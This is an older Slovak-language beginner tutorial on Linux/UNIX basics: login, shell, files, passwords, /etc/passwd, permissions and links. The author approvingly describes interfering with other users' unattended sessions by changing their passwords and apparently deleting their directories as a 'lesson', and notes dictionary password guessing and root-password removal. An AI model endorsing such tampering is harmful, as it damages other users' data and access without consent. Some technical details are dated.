Na zaciatku sedenia ( tak sa oznacuje praca pouzivatela so systemom ) system ocakava vase meno - v UNIXovej terminologii Vas login (log in = prihlas do systemu). UNIX sa musi branit proti votrelcom. Ak na nom chcete robit, musite mat na nom svoj login - meno, ktorym Vas system identifikuje. Namiesto slova login sa v slovenskom jazyku mozeme stretnut i s vyrazom "ucet". Urcita forma ochrany systemu v podobe uctov sa vyskytuje na mnohych systemoch - Windows_NT, UNIX a jeho klony, Nowell Netware apod. Na systeme moze pracovat znacne mnozstvo ludi. Aby si navzajom nevymazavali subory, boli zavedene urcite prava. Obycajny pouzivatel napriklad nemoze vymazat systemove subory, ale ani ich menit. Jediny pouzivatel, ktory moze vsetko, je root - spravca systemu. Prave on Vam zriadi login a umozni Vam prihlasit sa do systemu.

Na zaciatku vasej prace uvidite podobnu hlasku

Welcome to Linux 2.0.0.
login:
Musite napisat vase meno. Moja obrazovka bude vyzerat takto:
Welcome to Linux 2.0.0
login: milan
Password:
System ocakava moje heslo. Heslo sa na obrazovke pri pisani nezobrazuje, aby ho pripadny zaujemca "neodpozeral". Heslo nikomu neprezradzujte, mohli by ste sa dostat do problemov. Ak zadate chybne heslo alebo ak na systeme nemate login, Linux vas odmietne
Welcome to Linux 2.0.0
login: milan
Password:
Login incorrect
login:
a novou vyzvou caka na Vase prihlasenie. Teraz uz napisme spravne heslo
Welcome to Linux 2.0.0
login: milan
Password:
Login incorrect
login: milan
Password:
Last login: Sat Sep 14 23:59:16 on tty2
Linux 2.0.0.
You have new mail
$
System mi v troch riadkoch vypisal, kedy som sa naposledy prihlasil, na ktorom terminali ( tty2 oznacuje terminal 2 ), verziu jadra Linuxu a oznam, ze som dostal od niekoho spravu - elektronicku postu. Ako si ju precitat, uvediem neskor.

Sedenie mozem kedykolvek ukoncit jednym z prikazov ( znak $ vypisuje shell, nie ja )

$ exit
$ logout
$ Ctrl-D
Napisat Ctrl-D znamena stlacit klavesu Ctrl, podrzat ju a stlacit klavesu oznacenu pismenkom d.

Program (a)getty, ktory ma sprevadzal pocas prihlasovania, teraz spusti shell a sam ukonci svoju cinnost. Shell je program, ktory interpretuje moje prikazy. Ze je pripraveny na moje prikazy mi oznamil znakom $.

Situacia teraz vyzera takto:

Ja
Shell
Jadro
Linuxu
Ovladace
Hardware
Ja sa obraciam na shell prikazmi. Shell ich interpretuje a spusta programy. Shell a programy sa obracaju na jadro Linuxu volanim jeho funkcii napriklad pre zapis na disk. Nakoniec jadro Linuxu pomocou ovladacov pristupuje priamo k hardware. Kedze ovladace byvaju zabudovane v jadre a okrem shellu mozu k jadru pristupovat aj shellom spustene procesy, bezne sa situacia oznacuje takto:
Procesy
Jadro
Hardware
Nepotrebujeme presne vediet tieto a podobne detaily, ukazeme si len vonkajsie prejavy UNIXovskeho systemu. Najdolezitejsie zariadenie na pocitaci je disk. Prave na disku su ulozene vsetky subory a programy. Pretoze dnesne disky su velke, subory sa umiestnuju do adresarov - adresar je subor obsahujuci nazvy inych suborov a adresarov. Pre nas je dolezite, ze do adresara mozno "vojst". Adresare predstavuju stromovu strukturu a umoznuju prehladne usporaduvanie suborov. Zakladny adresar na disku je hlavny adresar - kedze struktura adresarov ma charakter obrateneho stromu, je to jeho koren - korenovy adresar ( root directory ). Ten obsahuje mnozstvo adresarov, v ktorych su ulozene dalsie adresare alebo subory. Ulozene su tam len logicky, v skutocnosti su samozrejme ulozene na nejakej casti disku, avsak to je pre pouzivatela skryte.

Uplne meno suboru je dane celou cestou z korenoveho adresara k suboru. Cestou tu myslim vymenovanie vsetkych adresarov, ktore treba prejst, kym sa dostaneme z korenoveho adresara k suboru. Aby ste to lepsie pochopili, uvediem priklad. Predstavme si fiktivny suborovy strom ( strom systemu suborov )

/ ( root )
|----adresar1
     |-----subor1
     |-----subor2
|----adresar2
|----adresar3
kde root ( korenovy adresar oznacujeme znakom lomitko / ) obsahuje tri adresare: adresar1, adresar2 a adresar3. Adresar adresar1 obsahuje 2 subory s nazvami subor1 a subor2. Mozeme si dat vypisat obsah adresara prikazom ls ( list )

ls meno_adresara

System vypisuje vyzvu - ocakavanie prikazu. To nam umoznuje v prikladoch odlisit, co pise pouzivatel a co pise system. Pouzivatel pise tie riadky, ktore zacinaju znakom dolar $ - tento znak vypise system a ocakava prikaz.

Vypisme si teda obsah hlavneho adresara:

$ ls /
adresar1
adresar2
adresar3
$
System napisal $, cim oznamil, ze caka na prikaz, my sme napisali ls / a system spustil prikaz ls s parametrom /. Prikaz ls vypisal obsah adresara /. A system opat vypisal vyzvu $.

Prave sme sa naucili spustat programy. Staci jednoducho napisat ich meno a pripadne parametre. Nas prikaz mal nazov ls a parameter /.

Prikaz cd ( change directory = zmen pracovny adresar ) umoznuje zmenit pracovny adresar. Mozeme teda "vojst" do adresara. Priklad:

$ cd /adresar1
$
vosli sme do adresara adresar1. Uz vieme, ze jeho obsah si mozeme vypisat prikazom ls. Mame dve moznosti:
$ ls /adresar1
subor1
subor2
$
alebo staci napisat ls
$ ls
subor1
subor2
$
Teda pracovny adresar je ten, v ktorom prave sme. Umoznuje nam priamo adresovat subory a adresare v nom.

Ak si chceme vypisat obsah suboru subor1 v adresari /adresar1, mozeme napisat

$ more /adresar1/subor1
--------------------- Toto je pokusny subor a obsahuje same bodky
 .
 .
 .
 .
 .
--more--
Prikaz more subor vypise na obrazovku subor tak, aby sa dal pohodlne citat, zobrazi vzdy len jednu stranku. Ak nie je vypisany cely subor, nevypise sa prompt shellu ( shell je zakladny program, ktory interpretuje Vase prikazy ), ale --more-- ( v preklade --viac-- ), co znaci, ze sme este nevideli cely subor. Znakom medzera si mozeme zobrazit dalsiu stranku, znakom b predoslu ( b = back = nazad ). Ked uvidime cely text v subore obsiahnuty, prikaz more ukonci svoju cinnost a opat uvidime prompt shellu. Mozme aj predcasne ukoncit cinnost programu more stlacenim znaku q ( q = quit ).

Ak sa nam niekedy stane, ze nevieme ukoncit program, mozeme pouzit prikaz Ctrl-C, ktory posle aktivnemu programu signal, aby ukoncil svoju cinnost. Niekedy je potrebne zadat prikaz Ctrl-Break.

Zadat prikaz Ctrl-C znamena stlacit klavesu Ctrl resp. Control a kym ju drzime stlacit klavesu C. Uvedomte si, ze hoci v zapise je Ctrl-C, c je v skutocnosti male pismeno.

Prikaz teda uz zadat vieme - napiseme jeho meno a stlacime klavesu <ENTER> alebo klavesu <RETURN>. Ak urobime preklep, mozeme pismenko zmazat klavesou <BACKSPACE> oznacovanou ako sipka dolava <--. Niekedy mozeme pouzit klavesu <DEL> resp. <DELETE>, treba si to odskusat. Popisujem tu hlavne Linux, nevraciam sa preto k starym systemom, u ktorych tieto klavesy neexistovali.

Vratme sa vsak k prikazu more. Vieme uz precitat textovy subor prikazom

$ more /adresar1/subor1
Toto funguje, ked sa nachadzame v lubovolnom adresari. Ak sa vsak prepneme prikazom
$ cd /adresar1
do adresara /adresar1, potom si subor /adresar1/subor1 ( mimochodom, prve lomitko oznacuje hlavny adresar, dalsie sluzia len na oddelenie jednotlivych adresarov cesty ) mozeme precitat prikazom
$ more subor1
Shell zisti, ze na zaciatku mena suboru nie je lomitko predstavujuce hlavny adresar a automaticky dosadi celu cestu z korenoveho uzla do nasho adresara. Pred subor1 teda vlozi /adresar1/ a prikazu more odovzda argument /adresar1/subor1.

Spomenul som, ze program more precita textovy subor. Existuju vari aj ine (ako normalne) typy suborov? Ano. Pozname 3 druhy suborov, textove subory udajov - napriklad tento subor je textovy, binarne subory udajov - su to vacsinou programy, ale aj vsetko ine, co neobsahuje text, napriklad obrazky a specialne subory udajov - specialny subor je ovladac umoznujuci pristupovat k hardware pocitaca, popiseme si ho neskor

Vieme co je MB = megabajt i KB = kilobajt. Co je to ale bajt ? Povedzme si najprv, co je to bit. Bit je minimalna jednotka informacie. Moze to byt 0 alebo 1. Pocitac pocita v bitoch. 1 bajt = 8 bitov. Pocitajme

DESIATKOVA SUSTAVA         DVOJKOVA SUSTAVA (BITY)
        0                              0
        1                              1
        2                             10
        3                             11
        4                            100
        5                            101
        6                            110
        7                            111
        8                            1000
        9                            1001
       10                            1010
Preco pocitace pouzivaju tak divne pocitanie? Pretoze je jednoducho implementovtelne. 1 znamena svieti, 0 znamena nesvieti, 1 znamena ide prud, 0 znamena nejde prud, 1 znamena nabity kondenzator, 0 znamena vybity kondenzator.

UNIX pouziva skrateny ASCII kod na kodovanie znakov ( American Standard Code for Information Interchange ). Znaky su kodovane 8 bitovo, ale textove znaky sa chapu ako 7 bitove. Na disk aj do pamate sa ale zapisuju 8 bitovo. Jednoducho prvy bit je vzdy nulovy ( tyka sa to textovych znakov ). Ak si chceme vypisat obsah nejakeho suboru ( ak ho chceme precitat ), mozeme napisat more subor. Ale beda ! Co ak to nie je textovy subor ? Zobrazi sa nam zmat rozlicnych necitatelnych znakov ( to preto, ze niektore maju nenulovy prvy bit ). V takom pripade rychlo stlacime klavesu q na predcasne ukoncenie vypisu suboru. Ak vsak namiesto vyzvy uvidime podobne cudne znaky a ak aj to, co piseme na klavesnici vyzera nezmyselne, znamena to, ze Linux sa automaticky prepol tak, ze chape kodovanie znakov opacne - zobrazitelne znaky maju prvy bit jednickovy, nezobrazitelne znaky maju prvy bit nulovy. V takomto pripade je jedinou pomocou prikaz

$ reset
ktory uvedie vsetko do poriadku. Pozor, neurobte preklep, lebo namiesto slova reset uvidite zmat znakov. Po vykonani tohto prikazu sa obrazovka zmaze a vsetko bude znovu v poriadku.

Bezne je obsah obrazovky mozne vymazat prikazom

$ clear
pripadne kombinaciou klaves <Ctrl-L> (teda ^L). Tato kombinacia klaves je casto pouzitelna v roznych programoch a sposobi obnovenie povodneho stavu obrazovky. Ak ju pouzijeme napriklad pri praci v shelli, obrazovka terminalu sa vymaze, ale obsah posledneho riadku zostane zachovany.

Vieme, ze sa mozeme do jednotlivych adresarov prepinat prikazom cd. cd /adresar1 nas prepne do adresara adresar1. Zistit, v ktorom adresari sme, mozeme prikazom pwd ( print (the) working directory = vytlac pracovny adresar ):

$ cd /adresar1
$ pwd
/adresar1
$
Mozno Vam je cudne, ze pwd = vytlac pracovny adresar nema nazov wwd = write the working directory = VYPIS pracovny adresar. To preto, ze UNIX bol povodne pouzivany v spojeni s dalekopisnymi strojmi - a tie naozaj vsetko tlacili na papier. Ak dnes chcete vytlacit subor subor1.txt na papier, musite napisat
$ lpr /adresar1/subor1.txt
$
Program lpr ( line print = riadkova tlaciaren ) vytlaci subor na tlaciarni.

Skusme teraz vytvorit nejaky adresar. Na to nam posluzi prikaz mkdir ( make directory = urob adresar )

$ cd /adresar1
$ pwd
adresar1
$ mkdir Novy_adresar_s_dlhym_nazvom
$
Tu mozme vyuzit prvu fintu Linuxu, vlastne Linuxovskych shellov - a to shellu /bin/bash alebo /bin/tcsh. Pokial pouzivate Linux, mate s velkou prevdepodobnostou nastaveny bash, pre kompatibilitu vsak niektori pouzivtelia pouzivaju tcsh. Pri beznej cinnosti rozdiel nezbadate, iba keby ste programovali skripty. Ja pouzivam na roznych systemoch rozne shelly. Teraz k spominanej finte. Iste je Vam proti srsti vypisovat vzdy takuto uplnu cestu. Teda pisat
$ cd Novy_adresar_s_dlhym_nazvom
$ pwd /adresar1/Novy_adresar_s_dlhym_nazvom
$
Spominane shelly su schopne za Vas doplnit nazov suboru respektive adresara, ak ich pociatocne pismena jednoznacne identifikuju. Napriklad:
$ cd /adresar1
$ ls Novy_adresar_s_dlhym_nazvom
subor1
subor2
$ cd N<TAB>                      Napisali sme "cd N" a stlacili tabulator
$ cd Novy_adresar_s_dlhym_nazvom a shell automaticky doplnil nazov adresara
$ pwd
/adresar1/Novy_adresar_s_dlhym_nazvom
$
Druha finta je sipka nahor. Pri jej stlacani sa nam postupne vypisuju na prikazovom riadku ( je to riadok, na ktorom zadavame prikaz ) predosle prikazy, ktore mozeme editovat ( upravovat ) a opatovne spustat stlacenim klavesy <ENTER>. Tak napriklad keby som teraz stlacil sipku nahor, objavil by sa mi vypis:
$ pwd
a este jedno stlacenie by sposobilo vypis
$ cd Novy_adresar_s_dlhym_nazvom
Obidve spomenute Linuxovske finty - doplnanie nazvov a historiu prikazov ocenite hlavne pri dlhych a krkolomnych nazvoch ci zlozitych prikazoch.

Aby som bol uplny, shell /bin/tcsh je schopny opravovat Vase preklepy. Ak namiesto more /adresar1/subor1 napiseme

$ mare /adoooor1/sibor1
a nastavime sa kurzorom ( to je ten blikajuci podciarknik oznacujuci miesto, kam bude zapisovany dalsi znak vkladany z klavesnice; pohybovat nim mozeme klavesami sipka dolava a sipka doprava ) niekde medzi znaky / a 1 ( prvy a posledny znak argumentu ) a stlacime klavesu <ESC> a <$>, shell za nas opravi cestu k suboru. Podobne by opravil mare na more, ak by sme kurzor nastavili na toto slovo.

Prikaz ls nevypisuje subory, ktorych nazov zacina znakom bodka. Umoznuje to schovat konfiguracne subory. Su to subory ovplyvnujuce chovanie niektorych programov. Program

$ finger Csonto
Login: csonto                 Name: Julius Csonto
Directory: /home/csonto       hell: /bin/bash
Last login Thu Sep 12 16:06 ( ) on tty3
No mail.
No Plan.
$
vypise udaje o pouzivatelovi, v ktoreho mene sa vyskytuje slovo Csonto a zobrazi ich na monitore ( displayi ). finger bez parametra zobrazi udaje o vsetkych pouzivateloch, ktori prave pracuju na systeme
$ finger
Login    Name             Tty  Idle Login Time   Office    Office Phone
milan    Milan Schmotzer  3    12   Sep 15 00:01 milan     Milan Schmotzer 2 Sep 14 23:59
root     root             1    1    Sep 15 00:08
$
Prikaz who zobrazi menej detailne informacie o momentalnych pouzivateloch
$ who
milan tty3 Sep 15 00:01
milan tty2 Sep 14 23:59
root  tty1 Sep 15 00:08
$
A nakoniec prikaz w zobrazi, kto co robi
$ w
12:13am up 16 min, 3 users, load average: 0.00, 0.00, 0.00
User   tty   from login@ idle JCPU PCPU what
milan  tty3  12:01am                    w
milan  tty2  11:59pm                    vi sysadmin.txt
root   tty1  12:08am     4              -bash
$
V tomto pripade bol pouzivatel s pouzivatelskou identifikaciou milan prihlaseny dva-krat - raz na terminali tty2 a raz na tty3. Moze byt naozaj prihlaseny na dvoch terminaloch alebo na niektorom z nich moze byt clovek, ktory pozna jeho heslo. UNIX zatial nema moznost zistovat Vasu totoznost. Pod Vasim menom moze robit hocikto, kto pozna Vase heslo. Preto hovorime o (po)uzivatelskej identifikacii radsej ako o pouzivatelovi. A preto je dolezite neprezradit heslo nikomu. Mohol by vo Vasom mene poslat root-ovi elektronicku postu so znenim

"Trhni si nohou."

A sposobit Vam tak vazne problemy.

Mnohi ludia sa z casu na cas pokusaju lustit cudzie hesla. Jedna z najjednoduchsich metod je postupne sa pokusat prihlasovat pod danym loginom s roznymi heslami alebo zobrat slovnik slov a vyrobit program, ktory bude automaticky doplnat jednotlive slova.

Pravidla pisania hesla

Ak sa volate Arnold Schwarzenegger a Vasa pouzivatelska identifikacia je arnold, nepouzivajte heslo schwarzenegger ani Schwarzenegger ani obratene, t.j. reggenezrawhcS. Bolo by nevhodne pouzit hesla vseobecne zname, ako Computer, Sierra, Earth. Nepouzivajte ani mena vasich znamych, nazvy firiem, datumy narodenia, atd. Heslo by malo byt take, aby ste si ho boli schopni zapamatat. Vacsina systemov nedovoli pouzit heslo o dlzke sa z menej ako 6 znakov. Mozete zadat lubovolne dlhe heslo, ale vacsinou sa vyuzije len prvych 8 znakov. Dlhe a komplikovane hesla zabrania pripadnemu zaujemcovi odpozerat heslo pozeranim sa na klavesnicu, ked ho pisete. Priklady hesiel a ich oznamkovanie ( 1 = super, 5 = prepada )
Sokrates       4 Prilis zname ( no kto by skusal prave toto heslo )
hajimemashite  2 Na Slovensku malokto vie po japonsky ( v Japonsku
                 by to bolo 4), ak Vas ale poznaju, mozu rovno skusat
                 japonske slova - a beda Vam !
nemamheslo     3 Relativne tazko rozlustitelne
leon           5 Prilis kratke !
7nAL73imHaCKer 1 Z hladiska rozlustitelnosti, ale tazko zapamatatelne
na4^Mx (       1 Super ! Dlhe a zlozite na odpozeranie, kratke
                 na zapamatanie a medzeru pri lusteni takmer nikto
                 neuvazuje
Heslo si nikam nezapisujte ! Mimochodom, ja som tieto pravidla dlhodobo ignoroval a mnozstvo mojich kolegov tiez ( dokonca som svoje heslo prezradil niektorym ludom ). Az som jedneho dna nasiel svoj adresar vybrakovany. Bolo vsak uz pozde.

Ak heslo zabudnete, utekajte za rootom, za systemovym administratorom.

Ak zabudne heslo root, je potrebne zabootovat system z diskiet, primountovat root particiu na disku a vymazat heslo roota v subore /etc/passwd.

Heslo ( password ) nam umozni zmenit prikaz passwd:

$ passwd
Changing password for milan
Enter new password:
The password must have both upper- and lowercase letters, or non-letters;
try again.
Enter new password:
Re-type new password:
Password changed.
$
Moj prvy pokus bolo heslo 'laskavost', ale system mi ho nedovolil pouzit, pretoze je prilis obycajne - lahko ho mozno odhalit pouzitim slovnika. Samozrejme, system heslo nekontroluje. Ak by som napisal 'lsakvaots', tiez by to ako heslo neprijal, hoci taketo slovo nie je v slovniku ziadneho jazyka. Jednoducho je to pre istotu. System vyzaduje cislice v hesle alebo aspon kombinaciu velkych a malych pismen. Heslo 'lasKaVosT' system prijal. Vsimnite si, ze podobne ako pri prihlasovani, ani teraz sa heslo na monitore nezobrazuje. To preto, aby ho pripadny prizerajuci sa clovek neodpozeral. Kedze vystup na monitore nevidite, je riziko, ze sa pomylite a nevsimnete si to. To by bolo neprijemne ( hlavne ak ste root ), pretoze by sa Vam pri nasledujucom UNIXovom sedeni nepodarilo prihlasit. System si preto vyziada zadanie noveho hesla este raz - je to pre kontrolu. Mimochodom, UNIXovemu sedeniu niekedy hovorime UNIXova relacia.

Ak v sebe mate aspon trosku hackerskej krvi ( v zmysle hacker = skodca ), mozno Vas napadne nasledujuca myslienka:

Ak sa pouzivatel na chvilu vzdiali od terminalu, mozem mu zmenit heslo ? ANO !!! V pripade, ze doteraz nemal heslo, mozete mu ho vytvorit. A co ak heslo mal ? Potom sa Vam to nepodari, pretoze system bude od Vas pytat stare heslo - a to nepoznate. Bez jeho zadania heslo nezmeni, pretoze program passwd si nie je isty, ci sa povodny pouzivatel nevzdialil.

Ak ja najdem opusteny terminal, na ktorom je zjavne niekto prihlaseny, robim nasledujuce cinnosti:

Ak si teraz myslite, ze som skodoradostny (teda hacker), to nie je pravda. Ak mu zmenim heslo, bude musiet vyhladat spravcu systemu ( systemoveho administratora alebo roota ) a poprosit ho o zmenu hesla. To mu bude chvilu trvat - a nabuduce si da pozor. Teda ho chranim, pretoze mu neuskodim, len sa na vlastnej chybe pouci. A ak sa nepouci, nabuduce pride skutocny hacker a dotycny ma po chlebe. Bod 2 ma cisto varovnu funkciu - nabuduce mu adresar nevymazem. Ale aj tak si nabuduce da pozor, ak je rozumny. Bod 3 ma opat ochrannu funkciu. Ak by som terminal nechal zapnuty a odisiel, co ak po mne pride ozajstny hacker ?

Co teda robit, ak sa potrebujete vzdialit ? ODHLASIT SA ! Ak vsak mate rozrobenu robotu ( povedzme ste konecne po hodine marneho usilia nadviazali spojenie so vzdialenym pocitacom ), mozete pouzit prikaz lock. Prikaz lock je k dispozicii na univerzitnych UNIXoch ( typicky BSD UNIX 4.3 ). V Linuxe ho nenajdete. Ak vsak pracujete na grafickom terminali, bude tam urcite k dispozicii prikaz xlock. Najdete ho napriklad v menu alebo si spustite shell ( cosi ako prikazovy interpret - tu to moze byt skor emulator terminalu, typicky 'xterm' ci 'color xterm' ) a napiste xlock. Tento prikaz spusti screen-saver ( program snaziaci sa chranit obrazovku pred zbytocnym svietenim v case, ked sa terminal nepouziva a ostal zapnuty ) a dovoli sa prihlasit len tomu, kto zada Vase heslo.

Ale predosle informacie patria skor do prirucky hackera, ktoru zverejnim v prilohe. Vratme sa k teme prirucky.

Ak do pouzivatelskeho adresara pridame subor s nazvom .plan s obsahom:

Zdravim Vas, uz ste ma odhalili ?
Vam Oddany
program finger zobrazi spravu
$ finger milan
Login: milan                Name: Milan Schmotzer
Directory: /home/milan      Shell: /bin/bash
On since Sun Sep 15 00:01 ( ) on tty3
On since Sat Sep 14 23:59 ( ) on tty2 36 seconds idle
No mail.
Plan: Zdravim Vas, uz ste ma odhalili ?
Vam Oddany
Milan Schmotzer
&
Co je sice pekne, ale kopa konfiguracnych suborov by nam pri vypise obsahu adresara prekazala. Preto vacsinou zacinaju bodkou a program ls ich nevypise. Mimochodom informacny subor .plan by mal naozaj vypisat okrem vasej adresy aj plan vasej cinnosti.

Vypisme si VSETKY subory

$ pwd /adresar1/Novy_adresar_s_dlhym_nazvom
$ ls -a
 .
 .
 .
$
Ak parameter zacina znakom -, ide o prepinac. Prepinac blizsie urcuje (pozmenuje) chovanie prikazu. My sme pouzili prepinac a (All = vsetky), aby sme donutili prikaz ls vypisat vsetky subory v danom adresari. Ale odkial sa vzali subory s nazvami "." a ".." ? Vytvoril ich prikaz mkdir. Nazov suboru . oznacuje sucasny (aktualny) adresar, nazov .. oznacuje nadradeny adresar. (Nezabudnite, ze adresar je tiez subor.) Naco je to dobre ? Ako skratka. Ked som v adresari /adresar1/adresar/adresy/uvxyz a chcem sa prepnut do adresara /adresar1/adresar/adresy, mam dve moznosti
$ cd /adresar1/adresar/adresy
alebo vyuzijem skratku
$ cd ..
Vyhoda je jasna.

Okrem prepinaca a pre nas moze byt zaujimavy aj prepinac F, ktory vo vypise rozlisi nazvy adresarov a suborov. Vacsinou tak, ze za nazov adresara prida znak hviezdicka.

Pred chvilou som spomenul, ze pouzivatel milan si vo SVOJOM adresari spravi subor .plan. Existuje vari nejaky milanov adresar ? Ano. Pri zaradeni novej pouzivatelskej identifikacie do systemu sa vytvori jeden riadok v subore /etc/passwd. Pri pridani pouzivatelskej identifikacie milan sa do /etc/passwd prida riadok:

milan:i123cUADg428:501:100:Milan Schmotzer:/home/milan:/bin/bash
v ktorom su jednotlive polozky oddelene dvojbodkou a znamenaju
milan           pouzivatelska identifikacia
i123cUADg428    heslo zasifrovane tak komplikovane, ze ani spravca
                systemu ( root ) nema prostriedky na jeho desifrovanie
501             UID = User Idnetifikation Number = identifikacne cislo
                pouzivatela - Linux pouzivatelov identifikuje cislom,
                nie menom
100             GID = Group Identifikation number = identifikacne cislo
                ( pracovnej ) skupiny, v Linuxe 100 = skupina users
Milan Schmotzer meno
/home/milan     domovsky adresar
/bin/bash       zvoleny shell ( interpreter prikazov )
Okrem zaradenia tohto riadku do suboru /etc/passwd sa pre milana vytvori adresar /home/milan a prekopiruje sa don niekolko konfiguracnych suborov.

Ked sa milan prihlasi, vzdy bude automaticky prepnuty do tohto adresara. Tento adresar mu PATRI, moze ho dokonca aj vymazat. Moze si v nom vytvorit vlastny podstrom adresarov - bude to jeho sukromny suborovy system adresarov. Na jednotlive svoje subory aj adresare povoluje alebo zakazuje prava. V adresari /home su v Linuxe pouzivatelia ( v inych systemoch mozu byt v adresari /usr alebo /user ), teda su tam ich domovske adresare.

Pristupove prava sa zistuju s ohladom na vlastnika ( user ), skupinu ( group ), do ktorej vlastnik patri a ostatnych ( others ).

Milan nemoze vojst do adresara /root. Ten patri spravcovi systemu a vacsinou je nepristupny.

Do ostatnych adresarov mimo podstromu adresarov jeho domaceho adresara vacsinou obycajny pouzivatel vojst moze, ale nemoze v nich nic menit. To je dolezite, ved napriklad vyazanim suboru passwd v adresari /etc ( teda suboru /etc/passwd ) by znemoznil prihlasovanie ostatnym pouzivatelom.

Tieto obmedzenia sa netykaju roota = spravcu systemu ( casto byva oznacovany aj ako superpouzivatel ci superuzivatel = super user ). Ked sa niekto prihlasi ako pouzivatelska identifikacia root a preukaze sa adekvatnym heslom, system nebude kontrolovat jeho pristupove prava ( predpoklada sa, ze nebude likvidovat systemove subory, nevyhnutne pre chod systemu ). Je to nevyhnutne kvoli instalacii programov, pridavaniu pouzivatelov, ich odstranovaniu, kvoli zmene hesla zabudlivych pouzivatelov atd.

Obycajny pouzivatel sa smie piplat len vo svojom domovskom adresari a v adresari /tmp, do ktoreho sa ukladaju temporary files ( docasne subory ). Aby pouzivatel na disku nezaberal strasne vela miesta, casto je nahodena KVOTA - obmedzenie poctu byteov, ktore smu dohromady zaberat pouzivatelove subory. Ci existuje ako aj jej momentalny stav zistime prikazom

$ quota
bash: quota: command not found
&
Ja som na moj system kvoty nenainstaloval. Ak by som tento program nahodil, ale nepovolil, dostal by som asi takuto hlasku
$ quota
There are no quotas on this system
&
Mam stastie, na danom systeme nie su kvoty.

A ak by kvoty existovali, dostal by som informacie o tom, kolko zaberaju moje subory na disku a aka je maximalna povolena hranica. Kolko miesta zabera adresar so vsetkymi podadresarmi na disku zistime prikazom du adresar. Napriklad

$ du /etc
4 /etc/skel/.term
8 /etc/skel
1 /etc/lilo
9 /etc/default
1 /etc/fs
42 /etc/rc.d
8 /etc/vga
1 /etc/ppp
5 /etc/msgs
10 /etc/backup 
480 /etc
&
Vypis je pre kazdy podadresar uvedeneho adresara a nakoniec pre samotny adresar. Adresar /etc dokopy zabera 480 byteov.

Pre vypis sucasneho adresara mozeme napisat skratkovy tvar.

$ cd /home/milan/txt
$ du .
67 .
$
Ale staci aj du bez argumenu ( podobne ako ls, ak nedostane argument, automaticky predpoklada, ze prikaz sa tyka AKTUALNEHO adresara )
$ du
67 .
$
Takisto mozeme pisat
$ ls .
poznamky.txt
sysadmin.txt
vediet.txt
vi.txt
&
Shell za "." dosadi cestu do daneho adresara, ktora jednoznacne identifikuje adresar. Nazov suboru je tvoreny celou cestou + nazvom v poslednom adresari. To umoznuje, aby sa v roznych adresaroch mohli nachadzat subory s rovnakym nazvom a rovnakym ale aj roznym obsahom.

Kopiu suboru spravi program cp.

$ mkdir pokus                 vytvorime pokusny adresar
$ cp sysadmin.txt pokus       prekopirujeme subor sysadmin.txt
                              do adresara pokus
$ ls pokus                    je subor naozaj tam ?
sysadmin.txt                  ano, je
$ cp sysadmin.txt pokus/ja    prekopirujeme subor sysadmin.txt
                              do adresara pokus do suboru s nazvom
                              ja ( ak existuje, bude prepisany,
                              inak sa vytvori )
$ cd pokus                    prepnime sa do adresara pokus
$ cp ../sysadmin.txt ja       zopakujme predosly kopirovaci
                              prikaz - shell za ".." dosadi
                              /home/milan/txt
$ cp ../sysadmin.txt ./ja     znovu to iste v inej notacii
$ cd ../../../..              je to to iste ako cd /
$ cd ~/txt/pokus              ~ je skratka pre moj domovsky adresar
$ ls ~csonto                  ~csonto je skratka pre domovsky adresar
                              ineho pouzivatela s pouzivatelskou
                              identifikaciou csonto
/bin/ls: /home/csonto: Permission denied
&
Posledna hlaska znamena, ze nam pouzivatel s pouzivatelskou identifikaciou csonto pristup do svojho podadresara nepovolil.

LINKY

Uz vieme, ze adresar subory neobsahuje. Obsahuje ich iba logicky, fyzicky je adresar subor, ktory obsahuje na jednom riadku cislo i-node a nazov suboru. Co je to inode ? Toto cislo je smernik ( ukazovatko ) do tabulky suborov, ktora obsahuje udaje o tom, kto vlastni subor (radsej nie meno, ale UID vlastnika), do ktorej skupiny patri vlastnik ( opat UID ), kedy bol subor vytvoreny / meneny / citany, ake prava nastavil vlastnik a ktore bloky disku subor obsadil. Ako uz vieme, disk sa sklada z niekolkych platni, kazda ma dva povrchy - disk ma teda niekolko povrchov. Na kazdom povrchu su namiesto drazok stopy (ako na starsich kotucovych magnetofonovych paskach). Pretoze sa magneticke hlavicky pohybuju sucasne, tvoria v kazdom okamihu akysi pomysleny CYLINDER. Kazda stopa je rozdelena na niekolko SEKTORov. No a aby to bolo uplne komplikovane, kazdy operacny system zgrupuje vzdy niekolko sektorov do tzv. BLOKOV (v MS-DOSe sa im hovori alokacne clustre). i-node (file Identification NODE = identifikacny uzol suboru) obsahuje informaciu o tom, ktore alokacne bloky subor zabera a aku ma velkost. Je potrebne si uvedomit, ze ak subor obsahuje len jediny byte, zaalokuje (obsadi) cely jeden alokacny blok - napriklad 4 KB. V unixe ma blok vzdy 1024 bytes (1 KB), ale ALOKACNY BLOK ma vacsinou 4 KB. I-uzly su ulozene na zaciatku disku v specialnom subore. Kvoli ochrane systemu Linux udaje o disku dost redundantne "rozhadze" po celom disku, takze aj pri fyzickom zniceni 90 % povrchu disku je este mozne zvysnych 10 % suborov zachranit. Samotny format disku extended 2 vytvoreny specialne pre Linux nie je typu FAT, ale typu i-node. Udaje o suboroch si uklada blizko k samotnym suborom. Ma to niekolko vyhod: Pre uplnost dodajme, ze velkost nazvu suboru ci adresara moze byt pri pouziti extended 2 suboroveho systemu az 256 znakov a velkost particie az 4 TB (TB = Tera Byte = 1024 GB; GB = Giga Byte = 1024 MB).

Kedze adresar obsahuje len nazov suboru a cislo jeho i-uzla, nic nam nebrani v tom, aby sme TOMU ISTEMU suboru priradili NIEKOLKO NAZVOV v tom istom, ale aj roznych adresaroch. Prikaz ls -i vypise cele riadky z adresara ( teraz myslim na to, ze adresar je tiez subor ), teda cisla i-uzla aj nazvy suborov:

$ ls -i
300607 ja
300606 sysadmin.txt
$
Jadro Linuxu zaalokovalo i-uzly v poradi ako sme kopirovali, t.j. subor ja obsadil i-node s cislom o 1 viac ako subor sysadmin.txt.

Prikaz ls -l vypise dlhu ( long ) informaciu o suboroch.

$ ls -l
-rw-r--r-- 1 milan users 61973 Sep 15 02:15 ja
-rw-r--r-- 1 milan users 61581 Sep 15 02:12 sysadmin.txt 
$
V tejto chvili nas zaujima druhy stlpec, ktory hovori, kolko odkazov na dany subor existuje. Vytvorme novy odkaz prikazom ln ( link )
$ ln sysadmin.txt novy.txt
$ ls -i
300607 ja
300606 novy.txt
300606 sysadmin.txt
$
